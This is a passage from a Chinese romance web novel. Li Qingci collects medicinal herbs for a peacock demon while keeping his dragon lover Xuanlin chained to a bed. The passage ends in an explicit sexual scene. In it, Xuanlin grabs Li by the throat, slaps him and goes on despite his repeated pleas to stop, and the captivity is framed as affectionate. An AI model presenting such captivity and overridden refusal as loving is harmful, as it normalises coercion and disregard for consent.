李青辞亲了亲他的嘴唇:“我去吃饭,一会儿就回来。” “别动不动就亲我!” “我就要亲!你很快就是我娘子了,我亲亲怎么了?” “滚。”声调不高,听起来像是懒得搭理。 “我就亲!就亲!”李青辞一连在他脸上亲了好几口。 玄鳞躺着无动于衷。 等李青辞亲够了,他才笑着离开。 他走到外间,端起温凉的饭,想进去看着玄鳞吃,顺便还能说说话。 忽然,他瞥见院外急匆匆的碧绿身影。 孔雀一看见他,立刻眼神一凛,下一瞬,他就出现在堂内。 李青辞见他这副急色匆匆的样子,不禁惊诧:“这是怎么了?” 孔雀掏出来一张纸,递给他的时候手还有些抖:“上面这些药材你能帮我弄来吗?” 李青辞放下筷子,接过纸张查看。 孔雀道:“本来我可以去山里自己找的,但是我现在走不开,只能麻烦你了。” 李青辞安慰道:“没事,别着急,我先看看。” “我记得工部尚书六十大寿的时候,下边给他进献了一根两百年多年的山参,你这用的分量不多,我去给你要一截儿,应该够用了。” “这个百年首乌,药铺里不太好寻,但是宫里常备,我妹妹在宫里当值,我让她给你弄一块出来。” 孔雀指了指纸:“这个呢,我之前听薛陵说,这个很难弄到。” 李青辞温声道:“能给你弄到,我知道一个知府手里有,我给他去信,从水路给你运回来,你放心,五天之内,我把这些药材收集好,给你送过去。” 孔雀明显松了口气,他拍了拍李青辞的肩:“真是好样的,你帮我大忙了。” 李青辞笑了笑,端着茶壶问他:“你喝水吗?” “喝,渴死我了。”孔雀直接端着茶壶一饮而尽,“还有吗,就这么一口水啊?” 李青辞走到门口的水车那儿,提了一桶水:“你可以直接喝,这是从地下挖出来的泉水。” 孔雀端着桶,又是一饮而尽,连喝了三桶水,他才止住渴。 李青辞继续坐下吃饭:“我现在太饿了,等我吃完就出去给你弄药材。” “行。”孔雀往桌前一坐,抹了下脸。 过了几息,他才开口:“他看见薛陵的画像了,闹得很厉害,从小到大,他从来没有闹得这么厉害过,非要烧了那张画,我怎么可能让他烧,然后他就划破了自己的脸,一张脸全烂了,流了很多血,我一个不注意,他就要闹着要死,弄出来很多伤,现在气息很微弱,我把他弄昏了才过来的。” “我只是孔雀,虽然是妖,可我救不了一个快要死的人,这个方子是薛陵留下来的,他那时给宫里的太后治病。” 李青辞看过史书,知道这个事情,国芳观也是因此才被当朝奉为皇家道观。 他扒拉了两口饭,食不知味,喝了口茶顺了顺,无奈叹气。 孔雀浑身被浓重的迷茫和困惑笼罩。 李青辞起身过去,拍了拍他的肩:“事情已经发生了,想其他的都没用,只能想接下来该怎么补救。” “补救?”孔雀语气低落。 怎么补救? 那张脸烂成那样,他补不了,救不回来。 孔雀带着一身落寞离开了。 李青辞也没再耽搁,他换了衣裳,站在内室门口:“玄鳞,我出去一趟,日落前回来。” 他没再进去,合上门就直接走了。 纸上共列了十七种药材,李青辞抄下来其中十种交给永思,从钱庄拿出来一万两银票让他去买。 李青辞策马回李府东院,高琼枝正在院里抻拉筋骨,看见他,诧异道:“这个时辰你怎么回来了?饭刚吃完。” 李青辞道:“我回来拿东西,我爹之前收藏的那本关于命书的古籍,太夫人帮我找一下,我有用。” “行。” 两人朝书房走。 高琼枝一边翻一边儿骂骂咧咧:“以前没注意,现在找起来才发现,你爹怎么买了这么多书,挣那点俸禄全买书了,怪不得就剩那么点家底,” 李青辞快速翻找:“这些书有些反潮了,太夫人哪天得空,拿出来晒晒吧,这些都是珍本,随便一本拿出去卖都值不少银子。” “行,反正我现在闲着也没事,正好明天妤儿回来,让她和我一块弄。” 李青辞找到那本古籍后,脸上露出轻松的笑意:“这本书我要拿走送人,是个孤本,给出去可惜了,算了,我回去连夜手抄一本,明日再去送。” 高琼枝诧异:“你要送谁?” 李青辞道:“工部尚书,我想要他手里的一截儿山参,这东西当补偿足够了。” 高琼枝道:“既然咱们有事求他,礼多人不怪嘛,他那个夫人我还算了解,爱吃甜食,等会儿我和悦言做些荷花酥,你一并给他拿过去。” 李青辞笑起来:“那真是太好不过了,对了,明天巧妤回来,你让她清早在家等我,我有事跟她说。” “行。” 李青辞拿了书离去,他和永思两人随便找了家酒楼吃晚饭。 “老爷,这味药材我跑了几个药铺都没有,使了点银子,一个掌柜跟我说,兵部右侍郎家里存着这个东西。” 李青辞吹着勺子里的热汤:“行,那我后天跑一趟。” 工部刚造出来一批兵器,这个右侍郎是个爱刀之人,拿一些式样过去,让他鉴赏一下。 当天晚上。 一直到丑时,李青辞仍坐在桌前抄书。 桌角的硕大明珠熠熠生辉,但是眼睛用长了,还是有些干涩,李青辞搁下笔,活动一下手腕,转了转脖子,起身抻拉筋骨。 他走到床前撩开帷帐,往下一倒,埋在玄鳞颈窝深深嗅了一下,又跟他贴了贴脸,最后亲了一下他的嘴唇,这才翻身坐起。 他拖着沉重的步子坐到桌前,继续抄书。 一夜未睡。 终于赶着出门的时辰,抄完了书。 李青辞出去洗了把冷水脸,喝了口热茶,换上官服。 临走前,他回到内室,握住玄鳞的手晃了晃:“我要出门了,你不跟我说句话吗?” 玄鳞不耐烦地睁开眼,冷冷瞪他。 李青辞穿着一身明艳的绯红官袍,他坐在床边,脸上带着清浅的笑意,眼神温柔地看着那双暗金色的眼睛。 他甚少穿这样明亮的颜色,上一次穿,还是在韩水谚和陈静婉成婚那天。 记忆里那个红色有些浅,现在身上的红色很鲜艳,像新娘子成婚时穿的嫁衣。 “滚吧。”玄鳞的眼神在他身上滚了一圈儿,然后闭上眼。 李青辞笑出了声,低头凑到他脸边:“你不疼我一下吗?” 玄鳞闭眼沉默。 李青辞轻叹一声:“我时间不多,要出门了,你真不疼我吗?” 玄鳞极其烦躁地蹬了下腿,带出一阵沉闷的哗啦啦声,他翻身背对人。 忽然,他后颈的头发被撩开,脖子上落下一个温热、轻软的触碰。 李青辞亲了亲他的脖子,又亲了一下他的耳朵尖儿:“那我疼疼你,我走了。” 玄鳞闷脸趴着不动,身形僵直,浑身的肌肉在一刹那隆起紧绷。 等帷帐被合上后,两只耳朵忽然动了动,瞬间通红无比。 …… 接下来的几天,李青辞过得那叫一个兵荒马乱。 他白天要当值,拜访只能留在晚上。 要先铺陈许多,拉里拉杂,恭维、闲扯一番,最后才能点到正题,等事情达成,一两个时辰都过去了,回到家已是深夜。 这天。 直到子时,李青辞才回到家里,他满身疲惫,腹中空空,只顾着喝酒,饭都没吃两口。 即使现在酒量好了一些,但也就那么回事,每次喝都不可避免的难受。 李青辞坐在外间喝了碗甜汤,趁身上还有些力气,好好洗了个澡,净了三次口,然后坐在水车旁散去酒气。 时值暮秋,晚风寒凉,又水汽四溢,李青辞冻得直缩脖子,但是又不能不吹风,床上躺着的那个,鼻子无比灵敏,让他知道自己喝酒了,肯定又要不高兴。 等了许久,李青辞低头嗅了嗅自己,没闻见酒味,便站起来跺跺脚,搓着手进内室。 他一连打了两个哈欠,合上帷帐,往玄鳞身上一趴,没几息就睡了过去。 与其说是睡过去,不如说是昏过去。 玄鳞抱着冰凉的人,嗅着难闻的酒气,满腔的怒火硬生生憋在心里。 这个阳奉阴违的小崽子,嘴上说一套,背地里做一套。 小骗子! 满口谎话! 说锁住自己是为了陪他,结果人天天往外跑,还带回来一身酒气,也不知道跟谁喝的,天黑了也不回来,还说怕黑,哼! 玄鳞气得把人推开,翻身趴着。 李青辞被掀到一旁,一点儿没醒,别扭地拧着身子睡得很沉,呼吸有些粗重,应该是累狠了。 翌日清晨。 李青辞睡得正沉,恼人的钟声又响起来了。 啊!好烦!又要起床! 他从玄鳞身上起来,烦躁地搓了把脸,好困啊! 默了默,他倒头又躺下了,用脑袋拱玄鳞的脖子,手指用力搓他的袖子。 “玄鳞,我该走了,你疼不疼我?” 一片沉默。 李青辞撅着嘴,心里郁闷,说出口的语气便不怎么好:“不疼算了!干脆你以后也别疼我了!” 玄鳞语气更差:“你是用不着我疼了!以后回来别挨着我!” 李青辞不高兴地嘟囔:“干嘛又凶我!” “滚!” “滚就滚!” 李青辞踹了他一脚,当即起身离开,毫不拖泥带水。 身后,沉闷的锁链声哗啦啦响个不停。 李青辞耷拉个脸去上衙,吩咐永思去吉庆街买十份山楂糕。 等到傍晚,最后一味药材终于凑齐,李青辞直接策马出城,朝国芳观去。 他把药材交给孔雀,没做逗留,立刻回城。 在天色彻底暗下去时,李青辞将将赶到城门口,他看着城墙上燃着的灯火,心有余悸地握了握冰凉坚硬的手指。 风真大,好冷啊,早知道就把披风带出来了。 李青辞回到家里,换下官服后,走进内室。 他懒得洗漱了,太困了,好累,他想先睡一觉。 怕玄鳞待在屋里闷,窗户开了半扇。 风吹帘动,纱帐被拂开一瞬,隐约瞧见床上那人的面容。 瞧着不太高兴的样子。 李青辞摁了摁眉心,神情倦怠疲乏,他撩开帷帐,轻声道:“玄鳞,我回来了。” 随着人影的靠近,一股刺鼻难闻的香火味儿飘在鼻尖。 玄鳞曲起右腿,力道太大,带起一阵十分响亮的锁链哗啦声,听见李青辞的声音,玄鳞眉眼间尽是烦躁不耐,语气冷硬:“滚。” 李青辞仿佛没听见一般,径自脱下鞋袜,翻身上床,伸手搂住玄鳞的腰,脑袋埋在他肩窝里。 “滚开。”玄鳞忍不住推搡他,“拿我的话当耳旁风!滚出去睡,别挨着我!” 良久。 李青辞依旧安稳睡在玄鳞怀里,发出清浅均匀的呼吸声。 贴在颈侧的脸又冰又凉,玄鳞暗骂一声,眼神低沉,勾起床尾的被子,扔在李青辞身上。 真恨不得掐死他! 又去道观了,是去见那个道士吗?见他干什么? 俩人商量着怎么杀他吗! 玄鳞越想越恼火,牙都快咬碎了。 这时,一道畅意的喟叹响起。 李青辞睡了个好觉,他绷着腰身,挺着胸膛伸了一个大大的懒腰,往上蹿了一截儿,凑过去跟玄鳞贴脸。 玄鳞张嘴就要骂他。 脸侧的温热突然离开了。 李青辞懊恼地拍了下床板:“我给忘了,玄鳞,我出去一下。” 这一觉也不知道睡了多久,他赶紧翻身坐起,想出去拿山楂糕,别放久了失了味道。 “哪都不许去!”玄鳞突然暴喝一声,掐着他的脖子把他压在身下,神情极为森寒。 李青辞感觉不对,没敢乱动,小声问:“怎么不高兴?” 玄鳞语气冰冷:“打算去哪?” 李青辞道:“去外间给你拿山楂糕,我回来的时候太困了,就想抱着你睡觉,不小心给忘了,我不是故意的。” 玄鳞手上一顿,继续逼问:“白天都去哪了?” 李青辞老老实实回答:”早起去衙署点卯,处理了一个时辰公文,然后去了平康坊巡察河道改建进度,就是你喜欢喝杨梅冰水那家酒楼的后面,在那儿一直待到傍晚,回衙署点完卯,就去了趟国芳观,然后就回家了,山楂糕是让永思买的,我回来忘了这回事。” 玄鳞冷嗤:“找那个道士又合计什么呢?” 李青辞皱了皱眉:“我没去找道士啊。” “李青辞,你嘴里到底还有没有实话!” 冷不丁被吼了一下,李青辞既茫然又委屈:“我到底哪说谎了,我去国芳观找孔雀,给他送药材,东西给他,我立刻就回来了,一个道士都没见着。” 玄鳞松开他,眼神飘忽,嘴上却很坚持:“到底去找谁了,你自己心里清楚。” 接连被冤枉,李青辞心里也不高兴,视线一瞥,看着满身黑气的黑影。 突然福至心灵,他抬手捶了玄鳞一拳:“赵玄真是白云观的道士,我锁你的第二天,他就离开京城了,白云观离这七百多里,我怎么去找他!” “你竟然这样想我,你以为我又去找他,商量着要害你是吗!” “玄鳞,你怎么可以这么想我!” 李青辞真生气了,他狠狠推开人,起身下床。 玄鳞抿着嘴沉默,就晚了一瞬,没抓住人。 “李青辞,站住。” 李青辞头也不回,径直走出去。 玄鳞立刻想去抓他,却被锁链栓在原地,寸进不得,心里的懊悔被愤怒取代,玄鳞狠狠踹了下床。 李青辞出去后,才发觉他这一觉,睡了两个半时辰,现在已经过了子时。 他坐在外间,一口一个山楂糕,吃得咬牙切齿,像是在嚼谁的肉一样。 等吃饱喝足,李青辞泡在热水里,好好解了下乏,头发烘到一半,李青辞没耐心了。 他抱着剩下的一堆山楂糕,踢开门,一脸郁郁地走到床边,把手里的东西砸在那个黑色身影上,越过两条腿,扯过床里侧的被子,抱到榻上去睡觉。 酸酸甜甜的清香味儿盈满整个帷帐。 玄鳞捏了一块搁进嘴里,感觉他的心就像这块山楂糕一样,既酸又甜。 四下一片静谧,除了一道轻浅的呼吸声,其他的什么都听不见。 李青辞竖着耳朵细心听着,也没听见咀嚼声。 爱吃不吃,不吃拉倒。 “过来。” 李青辞压住翘起的嘴角,撇嘴道:“没名没姓的,叫谁呢?谁要过去!” 默了默,想起一道低沉的声音。 “李青辞!别再让我说第三遍。” 李青是脸上的笑意倏然散了,他努起嘴,一脸不高兴:“就知道凶我!” 哪有这样哄人的! 李青辞扯过被子蒙在头上:“我就不去,不是你让我滚吗,还喊我回来干什么?” 半晌。 一道很低的叹息声响起,夹杂着无力和无奈。 “我被拴在这儿,下不了床。” 我没办法过去抱你。 “我知道了,别不高兴。”李青辞急急回答,他连忙抱着被子回到床边,“不用你抱我,我自己回来。” 李青辞一回到床上,立刻伸出手去抱玄鳞的脖子,跟他紧紧贴着脸。 玄鳞静坐未动。 李青辞看着床尾散落的空纸袋:“明天给你买二十份好不好?不够的话三十份,或者我把铺子买下来,专门做给你一个人吃。” “不吃了,吃多了腻得慌。” 李青辞听完,立刻起身:“我去给你倒水。” 玄鳞箍住他:“先来说说你的事。” 李青辞不解:“我有什么事?” 玄鳞问:“你喝那么多酒,跟谁喝的?” 李青辞老老实实回答。 玄鳞又问:“就只是喝酒,没有旁的?” 李青辞疑惑:“还吃了些菜,你是说什么旁的?” 不等玄鳞再问,李青辞反应过来:“你是想问我有没有狎妓是吗?” 玄鳞没听明白那俩字什么意思,便没说话。 李青辞气笑了:“你是不是以为我跟之前那回一样,是喝的花酒,屋里很多男男女女,我左拥右抱,嘴都亲不过来了!你是不是这样想的?” “是!”玄鳞吼了一声,“我就是这样想的!谁知道你晚上出去干什么了,你知道自己喝完酒是什么样吗!” 那么漂亮,那么好看,他喜欢,别人就不喜欢吗! 李青辞不生气了,他瞟了一眼玄鳞,小声道:“你不是说不喜欢我吗?还管我这些干嘛?” 玄鳞一口气哽住了,气急败坏地把人推开:“滚,你滚,我是绝对不会嫁给你的,你死了这条心吧!” 李青辞低头揉了揉嘴角,怕自己笑出来,他重新缠上去,看着那双暗金色的眼睛,认真地说:“我的嘴巴只有你亲过,手也只被你牵过,只有你那样亲密的抱过我,以前只有你,以后也只有你,我这一辈子都只有你一个。” 玄鳞没说话,眼神落在他的胸口。 李青辞愣了愣,掏出脖子里的鳞片:“你以后还会再长逆鳞吗?” 玄鳞摇头。 逆鳞只有一片,就算他化龙,也不会再长了。 他永远都是一条失去逆鳞有致命弱点的蛟龙。 李青辞难过起来,止不住地担忧:“那你以后怎么办?如果有人拿这个对付你怎么办?你有办法解决吗?” 玄鳞敛着眼皮没说话。 李青辞忍不住红了眼圈:“我当时都说了不要,你干嘛非要给我,如果我知道你给我的是逆鳞,我一定不会让你拔的。” 玄鳞语气淡漠:“以后不会再有其他人近我的身,一次就够了。” 对他而言,有没有逆鳞,其实影响不大,因为没有任何妖和人可以靠近他,威胁到他。 只有小崽子这个例外。 有例外,就会出现意外。 果然,话不能说得太满,做妖不能太自负。 他修炼了近千年,原形庞大,鳞片坚硬,刀枪不入,却最终败在了一个手无缚鸡之力的凡人身上。 还是一个动不动就抹眼泪的小崽子。 玄鳞觉得他这一辈子活得真失败。 李青辞低下头,声音很轻:“你是不是还在怪我?” 玄鳞捏起他的下巴,迫使他抬头,手掌拂过他的脸,沾了一手的水。 逆鳞是他自己心甘情愿给出去的,怪不得旁人。 自认倒霉吧。 “怪你能怎么样?你能悔改吗?你能给我解开锁链吗?” 李青辞摇头:“现在不能给你解开,不过很快,真的很快,到时候你去哪都行。” 第66章 真知道错了? 玄鳞很不理解,拧眉看着李青辞:“你锁着我对你有什么好处?头发没人给你烘干了,没有人给你抓好吃的,做好吃的,如果我没被锁住,早上可以抱你去马车,你就能多睡会儿。” 李青辞听完笑了起来:“有得必有失,这些我都不在乎,我只希望每天早上睁开眼的时候能看见你,下了衙回家,还是能看到你。” “我不用担心你会不会突然离开,然后不知归期。” “李青辞,你到底有没有良心?我哪次走没跟你说!” 李青辞没有再解释:“好,是我的错,我不说了。” 他不想再被通知,被迫接受离别。 玄鳞气冲冲地戳他的脑门:“别以为我看不出来,你就嘴上认错,心里根本不是这样想的。” 李青辞笑笑不说话,抓住他的手腕,亲了亲他的手背。 玄鳞浑身紧绷起来:“你到底从哪学的这些玩意儿,还是有别人对你这么做过,连爪子都亲。” 李青辞不高兴地打他:“我刚才说的,你是不是一句都没听进去?” 玄鳞扯住他的手,把人箍进怀里:“说!怎么突然会这些?” 李青辞翻了个白眼儿,没吃过猪肉,还没见过猪跑吗。 他为官十几年,多少也参加过应酬。 “见别人这样做过,再说了,我就算没见旁人做过,自己就不能想出来吗,我喜欢你,亲亲你的手怎么了?” 李青辞瞪眼:“你都没想过亲我,所以你之前说喜欢我都是假的,是不是?” 玄鳞戳这个没良心的胸口:“你那张嘴我亲过多少次了,嘴巴都快给你舔破了,你这个崽子真是一点良心都没有。” 李青辞睁着眼睛说瞎话:“是吗?我不记得,反正你最近都没有疼过我。” 这么假的瞎话,任谁都能看出来,这个人只是变着法撒娇想讨疼。 说着说着,假难过变成了真难过。 “我难受了,你也不管我,就让我自己硬熬着,还对我说难听话。” “在你眼里我就是个恶心的坏人,你指不定怎么看我的笑话。” “算了,我也不是非要你疼。” 他可以去疼玄鳞,反正都只是亲亲抱抱,一样的。 “不要我疼,你想要谁?”玄鳞脸色阴沉下来。 李青辞正想去亲他,见状立刻止住,生气道:“你又多想,你怎么老这样,我说了你又不听,我也不想疼你了。” 李青辞气地一甩脑袋,闷头躺下了。 脑袋却落入一片温凉,玄鳞手掌托着他的侧脸,扳过他的脸。 身上骤然压下来一副黑沉沉的身体,视线被挡住,嘴唇被含着舔。 李青辞努力别开脑袋:“不要你疼我!走开!” “以后回来不许洗澡,先过来见我,让我发现你身上有什么乱七八糟的味道,我掐死你!” 李青辞心里先是甜滋滋的,然后忍不住又生气。 “你又不喜欢我,又不疼我,管我这么多做什么。” 玄鳞没说话,继续舔他。 “走开,不要你亲。”李青辞推拒,“把我亲难受了,你是不是又要摁着我,看我的笑话,威胁我给你解开锁链!” “啪”的一声脆响。 玄鳞扇了一巴掌不解气,又往他屁股上狠扇了一巴掌。 “你这张嘴,我非得给你舔烂!净吐出些没良心的话。” 李青辞不服气,狠狠瞪着他:“我说错了吗?你不是这样对我的吗?” 黝黑的瞳仁里冒着一簇簇小火苗。 至于吗?就这么委屈。 他发过那么多次情,小崽儿不也没管过他,还巴巴地凑到他脸前,说要给他舔,除了火上浇油,其他一点用没有。 真是应了那句话,只管杀不管埋。 玄鳞弹了下李青辞的脑门,伸手解他的衣裳。 李青辞忍不住羞涩,扯着衣襟,小声道:“你要干嘛呀?” 玄鳞皱眉:“给你舔舔,爪子松开,舔完等会睡觉。” 李青辞惊地张大嘴巴,急忙道:“不不,你别这样。” 玄鳞掰开他的腿:“你到底闹什么?一会这样一会那样。” 李青辞头都大了:“我现在没有这个想法,我只是想让你抱抱我,和你亲亲嘴。” 玄鳞没理他,伸手揉了两把。 很快,小青辞站起来了。 李青辞难堪的几乎要哭出来,想钻床底下去。 “哼。”玄鳞又弹了一下。 李青辞眼圈红了:“你又嘲笑我,觉得我很没出息是不是?” “不是。”玄鳞立刻反驳,“我没这样想,你少冤枉我。” 精神的小东西,眼看着又蔫下去了,玄鳞安慰了两下:“好了,裤子脱了躺好,腿岔开。” 李青辞听着他有些平淡的语气,不禁发问:“玄鳞,你是真的喜欢我吗?是男欢女爱的那种喜欢吗?是对母蛟的那种喜欢吗?” 玄鳞深吸了口气,语气颇有咬牙切齿的意味:“你要是条母蛟,我上回发情一定缠着狠狠捅你一顿。” “捅得小嘴又红又肿,鳞片都翻不回去,只能可怜巴巴地求我给你舔。” 玄鳞拍了拍他的肚子:“说不定现在蛋都有了。” 原本有些蔫的小东西立刻支楞了起来。 李青辞浑身像是被火烧着了,脸颊、耳朵红得不成样子,白皙的胸膛浮起大片红晕。 玄鳞抬眼看他,不禁诧异:“身上怎么红成这样?还抖起来了。” 李青辞满脸通红,抿着嘴不说话。 玄鳞啧了声,一脸坦然自若,俯身低头亲他。 “玄鳞……”李青辞嗓音颤得不行,紧紧并着腿,“别这样,你别这样。” 玄鳞啧了一声,在他腿上扇了一巴掌:“你闹什么呢?” 李青辞委屈起来,抿着嘴唇看他。 玄鳞把他拖到身下,按了按他的嘴唇:“想让我先亲亲这儿?” 李青辞嗯了一声:“我想要你亲亲我,你现在都不疼我了。” 玄鳞拍他的脸,戳着他的胸口问:“我为什么不疼你?” 李青辞没回答,敛着眼皮,抽了抽鼻子。 在李青辞又要蔫下去的时候,玄鳞搂住他的腰,一把将人搁在身上,低头亲他的嘴唇,一只手拢住他慢慢疼他。 李青辞的气息立刻混乱起来,他伸手搂住玄鳞的脖子,脸埋在他肩上,满心眷恋,时不时用脑袋拱他的脖子。 玄鳞看着哭得一脸眼泪,简直要撅过去的小崽子,心中惊诧,这么不经磋磨,他一口气还没喘完,这就流两次水了,眼泪都流到脖子了。 李青辞深深弓着腰,脑袋垂着很低,眼尾渗出一股又一股的泪水。 玄鳞攥住李青辞的衣摆擦干净手,然后温柔地给他擦眼泪,心里忍不住直叹气,现在都哭成这样,以后真进去,小崽子眼睛不得哭瞎、水不得流干。 “玄鳞……”李青辞微张着嘴,眼神涣散,搂在玄鳞脖子上的手臂松松垮垮,“再疼疼我好不好?” 玄鳞看他又红又肿的嘴唇,哭红的眼睛和鼻子,还有一抽一抽单薄的小身板,忍不住头疼,怎么这么娇嫩,一点都受不住磋磨,偏偏还要得欢。 “疼什么疼,看看你自己这个德行,还受得住吗?”玄鳞又气又恼,抬手在他屁股上扇了一巴掌。 他现在是人,嘴唇和舌头算软的,还只是用手,就成了这样。 要是他变成原形,就小崽子这张小嘴儿,舔一口就得破皮,别说两根了,就是半根下去……小崽子是不是要哭死了。 哦,对了,他不能彻底变成原形交尾,因为他的雌兽太小了,真的太小了,接纳他的地方更是小的可怜。 他怎么就找了这么个小玩意儿,还是个没心肝的。 他深吸了口气,压下心底的烦躁,抬手给人擦了擦眼泪:“差不多行了,你别没完没了。” 李青辞搂紧他的脖子不松:“疼我吧,求求你了,想让你疼我。” 这条蛟现在阴晴不定的,对他也狠心了,下次能要来疼,还不知道什么时候。 玄鳞抱着他不说话。 李青辞凑到他脸前瞪他:“你是不是骗我的?你一点都不想疼我,你其实根本就不喜欢我,是不是?” “李青辞!”玄鳞的语气听起来咬牙切齿的,似是忍到了极点,“有时候我是真想扇烂你这张嘴。” 李青辞舔他的下巴,含含糊糊说:“别扇,你亲烂它好不好?” 玄鳞压抑的怒火终于爆发了,他翻过身,将人严严实实压在身下,用力搓磨。 刚开始,李青辞脸上还有些得逞的窃喜,他就知道玄鳞还是疼他的。 可渐渐的,嘴唇上传来刺痛的感觉,舌头又疼又麻,胀得不行,快没知觉了。 李青辞的眼泪快哭干了,一股一股的水流出来,眼睛红肿得只剩一条缝,勉强能眯起来看清光亮。 “玄鳞,我错了,你饶了我吧……呜呜呜……我真的受不了了……”李青辞嗓子哭得干哑,抖得不成样子,他蜷缩着身子,一抽一抽地哭,看起来可怜极了。 玄鳞腾出手扇了他一巴掌,扳过他的脸,轻缓地给他擦眼泪,语调冰冷:“受不了也得受着,又哭又闹求了一场,我怎么也得满足你,好好疼你一回。” 李青辞声音嘶哑得只剩气音儿了,他胡乱凑上去贴玄鳞的脸:“我知道错了,我真的知道错了,求求你了,原谅我好不好,饶了我这次吧。” 玄鳞置若罔闻,冷漠道:“现在知道错了,晚了,好好受着。” 李青辞害怕得猛一哆嗦,浑身抽搐起来。 玄鳞扯过床上的寝衣,擦干净手,捧着李青辞的脸给他擦眼泪。 指腹一碰到红肿的眼尾,李青辞就哽咽一下:“……好疼。” 玄鳞无奈叹气:“你少哭点,眼睛不就不疼了吗,又没打你,不疼不痒的。” 李青辞脑袋无力地歪着:“玄鳞,你最好了,你最疼我,我现在好困,你让我睡觉好不好?” 玄鳞没说话。 李青辞浑身一点力气都没有,软塌塌地窝在玄鳞怀里,玄鳞一只手揽住他的腰,另一只手继续拢着他。 李青辞要崩溃了,干涸的眼睛重新逼出来眼泪:“玄鳞,求求你,我真的撑不住了,好困,我想睡觉,我都难受了。” 玄鳞一手拢着他,一手擦去他脸上的泪痕。 怎么求饶都得不来解脱,李青辞哭着打他:“我是李青辞呀,是你的小崽儿,你真就一点不心疼我吗?” 玄鳞猛地收紧手臂,重重碾过李青辞头顶,李青辞不受控地张大嘴巴喘气,发出一声崩溃的喊叫,整个人剧烈抽搐,腰身反弓绷得很紧,双腿胡乱踢蹬。 玄鳞搂着他,轻轻拍打他的腰背,低声哄着人:“好了,安心睡吧。” 玄鳞扯下他身上只剩一只袖子的上衣,给他擦拭。 床褥不小心被泼了一片水,衣裳也擦不干,湿漉漉的没法睡人。 玄鳞没了法力,被锁着又下不了床,他垂眼看着怀里的人。 眼神涣散,眼睛、嘴唇、鼻子哭得通红,微微蹙着眉心,小脸皱巴巴的,眼尾又沁出点儿泪,身子一抖一抖地抽搐,整个人软绵绵的,跟被抽了脊骨似的,好像遭了多大的罪一样。 玄鳞叹了口气,抹去他脸上的泪,不指望他能爬起来换床褥。 他伸手扯过里侧的被子,被子一半垫在李青辞身下,一半搭在他身上,李青辞被堵在被子和身躯之间,狭窄的空间给了他很大的安心。 好一会儿,李青辞终于回过神,意识被找回来了,但脑中仍是空茫。 他伸手搂住玄鳞的脖子,脸埋在他颈窝,后知后觉地感觉到羞耻和难堪。 他今年三十四岁,第一次和心爱的人尝试做这种事,却被弄成了这样。 李青辞心里没由来得委屈。 玄鳞感觉到脖子湿了一块,头疼得不行:“再哭,你眼睛就瞎了。” 李青辞默不作声。 玄鳞缓和语气,揉着他的后颈,低声问:“怎么了,刚刚不舒服?还是没满足?想要我再疼你?” 李青辞狠狠咬他的脖子。 玄鳞低笑一声:“别崩了牙,快收收你的眼泪,床都让你哭湿了。” 李青辞简直无地自容,背后噌的窜上来一股热气,脸憋得通红,快要喘不过气来,他气得哽咽起来。 玄鳞声音近乎温柔:“好了,羞什么,舒服又不是丢脸的事。” 李青辞往下缩了缩,遮住自己的脸。 玄鳞掀开一截被子,亲了亲他红彤彤的耳朵尖儿:“上来,别闷着。” 李青辞缩着不动,嘶哑的嗓音低声说着委屈:“这不公平,为什么我被扒光了,弄成那样,你身上穿得严严实实,一点反应都没有,我求你,你也不心疼我,你是真的喜欢我,真想疼我?还是在惩罚我?” 玄鳞滚了滚喉结,没说话。 当然是真心疼的,但……确实也有惩罚的意思。 想让小崽子吃个苦头,长长记性,以后那张嘴说话知道轻重。 玄鳞把人薅上来,箍在怀里:“你要就给了,哪回都没故意冷着你、不让你痛快,也没打你骂你,怎么就这么委屈?疼你的时候你不舒服吗?” 李青辞瘪了瘪嘴,脸色青一阵红一阵,气囔道:“舒服!舒服得都疼了,都快舒服死了!!” 玄鳞道:“是你非要闹,嘴上什么话都说,求着让我疼你,现在真疼你了,你又委屈,你也太难伺候了吧。” 李青辞哼了一声:“别把事情都怪到我头上,好像你多无辜似的,你就是故意的!故意惩罚我、折磨我,我求你停下的时候,你怎么不听!” “你那个样子像是在真心疼我吗?你一点反应都没有,全程只有我一个人丑态百出,你根本就是因为我锁你在报复我!” “李青辞!”玄鳞厉呵一声。 李青辞身子下意识抖了抖,仍是不服气地反问:“难道不是吗?我说错了吗!” 玄鳞怒声驳斥:“当然不是!” 李青辞质问:“那你为什么不停?我都那样求你了,你还继续弄我,看我最后那副没出息的样子,你心里很痛快是不是!” 玄鳞眼神闪烁,心虚一瞬。 他心里确实很痛快,李青辞对他完全顺服,从来没这么乖过,嘴里说着爱他的甜话,哭着哀求他,眼里只有他,全身心依赖他,整个人都被他捏在手心里掌控的感觉,他现在想起来还是很痛快。 那副情态,他怎么都看不够,小崽子越可怜,他越想作弄得狠一点,把小崽子搞得除了淌水,什么也做不了,就只能睁着一双涣散的眼睛,可怜巴巴地望着他。 见他久不说话,李青辞难受极了:“原来你真是这样想的,你只是想报复我,根本不是真心想疼我。” “李青辞!”玄鳞咬牙切齿地盯着那双通红的眼睛,“你真行,你这张嘴就不能闲着,我真恨不得现在就捅死你!” 李青辞正想说他去拿刀,忽然被抵住了。 玄鳞戳着他的脑门,气得额角直抽抽:“我一心伺候你,你还有脸委屈!” 李青辞老实了,闭着嘴闷不吭声。 玄鳞一字一顿道:“火给我勾出来,你能灭吗!是用你上面这张舔几下就红的嘴,还是用底下那个还没张过的嘴,还是用你那俩稍微捏两下腿就喊累的爪子!” 李青辞被说的委屈:“我也没有你说的那么没用,两张嘴两只手可以轮换着来嘛,我也可以伺候你的。” 玄鳞吼他:“一张嘴就只会叭叭,少在这说大话!” 李青辞瘪着嘴,抬眼看他。 两人面对面靠得很紧,李青辞眼里的委屈和倔强,玄鳞看得太清楚了。 他叹了口气,缓声道:“我们蛟跟你们人不一样,交一次尾要很久,不像你一会儿一次,隔三差五的发。情,如果我真的发。情,进到你的身体里,你只能被我缠住,倒刺会张开,可能会扎进你的肉里,你太小太嫩了,又怕疼,娇气得没边,我要很久才能撤出来,我不知道你能承受到哪一步,而且对你来说,时间太久,你根本受不了,如果我失去了理智,控制不好身躯大小,你可能真的会被我捅死。” 李青辞默默听着,脑袋靠在他肩上。 玄鳞语气无奈:“我是气你锁我,可我也不至于在这种事上报复你,你怎么能这么想我。” 即使小崽子这么没心肝,他也舍不得真下手,打他那一巴掌,到现在他心里还是疼得慌,哪舍得在这种事上作践他。 李青辞乖乖认错:“对不起,是我小心眼,我不该这么想你,我知道错了,下次不会再犯了。” 玄鳞摸了摸他的脸:“真知道错了?” 李青辞用力点头,讨好笑着:“我真知道错了。” 